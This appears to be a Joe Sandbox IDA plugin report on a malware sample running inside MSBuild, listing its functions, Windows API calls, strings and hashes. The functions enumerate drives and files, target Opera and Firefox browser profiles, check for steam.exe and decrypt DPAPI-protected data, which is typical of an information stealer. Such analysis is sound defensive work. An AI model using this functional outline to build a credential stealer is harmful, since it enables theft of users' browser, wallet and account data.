Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: ddd36cf5883c05c2e99f8e8a3ef304cdccdfafc04dcae60c5929c9384b510419
Instruction ID: 3d46fa51890fdd32098865e919ef6b5fd5a0840b5da96ce08d22a13f78ff4c56
Opcode Fuzzy Hash: ddd36cf5883c05c2e99f8e8a3ef304cdccdfafc04dcae60c5929c9384b510419
Instruction Fuzzy Hash: 2532DC71A001299BCF21FB25DD4A7CD7375AF04308F5151EAA548771A2CBB8AFC98F89

Function 0041547D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004154AA
FindFirstFileA.KERNEL32(?,?), ref: 004154C1
StrCmpCA.SHLWAPI(?,00436A88), ref: 004154E2
StrCmpCA.SHLWAPI(?,00436A8C), ref: 004154FC
lstrcatA.KERNEL32(?), ref: 0041554D
lstrcatA.KERNEL32(?), ref: 00415560
lstrcatA.KERNEL32(?,?), ref: 00415574
lstrcatA.KERNEL32(?,?), ref: 00415587
lstrcatA.KERNEL32(?,00436A90), ref: 00415599
lstrcatA.KERNEL32(?,?), ref: 004155AD

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

FindNextFileA.KERNEL32(?,?), ref: 00415663
FindClose.KERNEL32(?), ref: 00415677

Strings

%s\%s, xrefs: 0041549E

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 43a62a5da0811069e516dd251f062bdd047ec93f171ae9359a6db0a91eb6ec6d
Instruction ID: 1d3312f9eb8f2264bd1265c82754d6ca2f0579c4a6faf9a3c0b83cff55796419
Opcode Fuzzy Hash: 43a62a5da0811069e516dd251f062bdd047ec93f171ae9359a6db0a91eb6ec6d
Instruction Fuzzy Hash: 28513DB1D0021D9BCF64DF60DC89AC9B7BDAB49305F0045EAE609E3250EB359B85CF69

Function 0040BF22 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC40,?,?), ref: 0040BF9A
StrCmpCA.SHLWAPI(?,00437468), ref: 0040BFBA
StrCmpCA.SHLWAPI(?,0043746C), ref: 0040BFD4
StrCmpCA.SHLWAPI(?,Opera,0043683B,0043683A,00436837,00436836,00436833,00436832,0043682F), ref: 0040C060
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C06E
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C07C

Strings

\*.*, xrefs: 0040BF48
Opera Crypto, xrefs: 0040C074
Opera GX, xrefs: 0040C066
Opera, xrefs: 0040C058

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 641a2c03c4c46291d02ed1cbb88d1bb21ca57062de13db32c816f54babdabdfb
Instruction ID: ac1e4222586fa4afca2114cb34797cbe6f2b8c51e5762f012ace873438baa98d
Opcode Fuzzy Hash: 641a2c03c4c46291d02ed1cbb88d1bb21ca57062de13db32c816f54babdabdfb
Instruction Fuzzy Hash: A7021C71A001299BCB21FB26DD466CD7775AF14308F4151EBB948B3191DBB86FC98F88

Function 00415182 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00415202
_memset.LIBCMT ref: 00415225
GetDriveTypeA.KERNEL32(?), ref: 0041522E
lstrcpyA.KERNEL32(?,?), ref: 0041524E
lstrcpyA.KERNEL32(?,?), ref: 00415269

Part of subcall function 00414D08: wsprintfA.USER32 ref: 00414D5C
Part of subcall function 00414D08: FindFirstFileA.KERNEL32(?,?), ref: 00414D73
Part of subcall function 00414D08: _memset.LIBCMT ref: 00414D8F
Part of subcall function 00414D08: _memset.LIBCMT ref: 00414DA0
Part of subcall function 00414D08: StrCmpCA.SHLWAPI(?,00436A00), ref: 00414DC1
Part of subcall function 00414D08: StrCmpCA.SHLWAPI(?,00436A04), ref: 00414DDB
Part of subcall function 00414D08: wsprintfA.USER32 ref: 00414E02
Part of subcall function 00414D08: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414E16
Part of subcall function 00414D08: wsprintfA.USER32 ref: 00414E3F
Part of subcall function 00414D08: _memset.LIBCMT ref: 00414E68
Part of subcall function 00414D08: lstrcatA.KERNEL32(?,?), ref: 00414E7D

lstrcpyA.KERNEL32(?,00000000), ref: 0041528A
lstrlenA.KERNEL32(?), ref: 00415304

Strings

%DRIVE_REMOVABLE%, xrefs: 00415255
%DRIVE_FIXED%, xrefs: 00415270
*%DRIVE_FIXED%*, xrefs: 0041519E
*%DRIVE_REMOVABLE%*, xrefs: 004151CF

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: dc809dd23139fb68ca2e12e265e3b71085f967899d686391cfb859ef9c95129b
Instruction ID: 7f19d13716cb32b355131421ed1edec5ae4476b9c202b44ef05ea067ce6d973c
Opcode Fuzzy Hash: dc809dd23139fb68ca2e12e265e3b71085f967899d686391cfb859ef9c95129b
Instruction Fuzzy Hash: 3B512DB190021CAFDF219FA4DC85BDE7BB9FB05304F1041AAEA08A7111E7355E89CF59

Function 0040D59B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

FindFirstFileA.KERNEL32(?,?,00437568,00436887,?,?,?), ref: 0040D61C
StrCmpCA.SHLWAPI(?,0043756C), ref: 0040D63D
StrCmpCA.SHLWAPI(?,00437570), ref: 0040D657
StrCmpCA.SHLWAPI(?,prefs.js,00437574,?,0043688F), ref: 0040D6E3

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7BD
DeleteFileA.KERNEL32(?), ref: 0040D888
FindNextFileA.KERNELBASE(?,?), ref: 0040D92B
FindClose.KERNEL32(?), ref: 0040D93F

Strings

prefs.js, xrefs: 0040D6D7

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 4402ba1984588b0d33ead1db6d97b348ed726ec1ad9f394c151d1388e7e72f05
Instruction ID: c3c0316d953dd00db375bed31a8349bc811e2f6ff6ed0aa7aecf8a221778b14b
Opcode Fuzzy Hash: 4402ba1984588b0d33ead1db6d97b348ed726ec1ad9f394c151d1388e7e72f05
Instruction Fuzzy Hash: BDA10971E002289BDB60FB25DD46BCD7775AF04305F4141EAB908B7291DB78AEC98F89

Function 0040B5B4 Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

FindFirstFileA.KERNEL32(?,?,0043741C,00436822,?,?,?), ref: 0040B62C
StrCmpCA.SHLWAPI(?,00437420), ref: 0040B64D
StrCmpCA.SHLWAPI(?,00437424), ref: 0040B667
StrCmpCA.SHLWAPI(?,00437428,?,00436823), ref: 0040B6F4
StrCmpCA.SHLWAPI(?), ref: 0040B755

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 0040ABBA: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC5F

FindNextFileA.KERNELBASE(?,?), ref: 0040B8C0
FindClose.KERNEL32(?), ref: 0040B8D4

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 934c5d852c5524fd99b6ee12de2f26cbb8679899dab4ecb322a7774f444f2f9d
Instruction ID: d94592b5482352d0ec6da5ccc21028963815865da7d009450886e6cf31cbea76
Opcode Fuzzy Hash: 934c5d852c5524fd99b6ee12de2f26cbb8679899dab4ecb322a7774f444f2f9d
Instruction Fuzzy Hash: 01812C719006189BCB60FB32DD46ADD7778AF04308F4141AAED08B3291DB789ED98FD9

Function 0041247D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412487
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124A9
Process32First.KERNEL32(00000000,00000128), ref: 004124B9
Process32Next.KERNEL32(00000000,00000128), ref: 004124CB
StrCmpCA.SHLWAPI(?,steam.exe), ref: 004124DD
CloseHandle.KERNEL32(00000000), ref: 004124F6

Strings

steam.exe, xrefs: 0041248C, 004124D5

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: ecd3519e3741eaa470c35dcf05407402c1190084f799967f94555945819a9a86
Instruction ID: d4084f0d0e759edba7759444cd5962fa3e50233271c2a93f092f019bb47ce1b0
Opcode Fuzzy Hash: ecd3519e3741eaa470c35dcf05407402c1190084f799967f94555945819a9a86
Instruction Fuzzy Hash: 38012170A002289FDB60DF649D49BDE77B8AF09311F5401E6E409E22A0DB788F818F64

Function 00410DB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

GetKeyboardLayoutList.USER32(00000000,00000000,0043670A,?,?), ref: 00410DE1
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410DEF
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410DFD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E2C

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

LocalFree.KERNEL32(00000000), ref: 00410ED4

Strings

/ , xrefs: 00410E48

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 2724f273fec84ff33f4e939fb377e0207cae21665a8476e921378471c4432e86
Instruction ID: 729bc086ff3401d41ff5aa38ae66934e308629714cd674665d7268366cdd9aa4
Opcode Fuzzy Hash: 2724f273fec84ff33f4e939fb377e0207cae21665a8476e921378471c4432e86
Instruction Fuzzy Hash: 8531FA71900328ABDB20EB65DD89ADEB3B8BB04305F1045EAF519B7152CBB85EC58F54

Function 00412554 Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041255E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417FBD,.exe,00436CD4,00436CD0,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC), ref: 0041257D
Process32First.KERNEL32(00000000,00000128), ref: 0041258D
Process32Next.KERNEL32(00000000,00000128), ref: 0041259F
StrCmpCA.SHLWAPI(?), ref: 004125B1
CloseHandle.KERNEL32(00000000), ref: 004125C5

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 47027d98fb1146cbc6c0e1b8c8d69d15098c7f4b092a7b7c05abaeaea0848dfe
Instruction ID: 385640d0b7579d5eaa17a02d2fab76b0057a6950b15d779b4a4689f4b8bf2c84
Opcode Fuzzy Hash: 47027d98fb1146cbc6c0e1b8c8d69d15098c7f4b092a7b7c05abaeaea0848dfe
Instruction Fuzzy Hash: 7D018671500224ABEB24DB609D48FEE7BBD9F05701F4400EAE409D6251D7788B849B25

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB6A,?,?,?,?,?,?,?,0040CC65,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB6A,?,?,0040823B,0040CB6A,?,?,?,?,?,?,?,0040CC65,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 71843aaf0a7933e65d977fae079d0a2f5d5a43d1982792f3285d4ffad2c25dc6
Instruction ID: 5332633284173789c767692548fdca268c5249f85a7424e749217d90e47653fb
Opcode Fuzzy Hash: 71843aaf0a7933e65d977fae079d0a2f5d5a43d1982792f3285d4ffad2c25dc6
Instruction Fuzzy Hash: AC01EC75A01218EFCB04DFA8D88489EBBB9FF48714F158466E906E7341D7719F05CB90

Function 0041147A Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0043670F,?,?), ref: 004114A9
Process32First.KERNEL32(00000000,00000128), ref: 004114B9
Process32Next.KERNEL32(00000000,00000128), ref: 00411517
CloseHandle.KERNEL32(00000000), ref: 00411522

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: b478cc063295a184bf11bc7f7bb1583928a6648d7bb05075e6248a051df8931c
Instruction ID: 48cd5fe09e8a88dc895cce4f985412a916ca55bcda0d84d79aa5faaea2e91a5a
Opcode Fuzzy Hash: b478cc063295a184bf11bc7f7bb1583928a6648d7bb05075e6248a051df8931c
Instruction Fuzzy Hash: 1511A371A00218A7DB11FB219C85AEE73A9AF44704F00109AF90AB7291CB7C9FC58F58

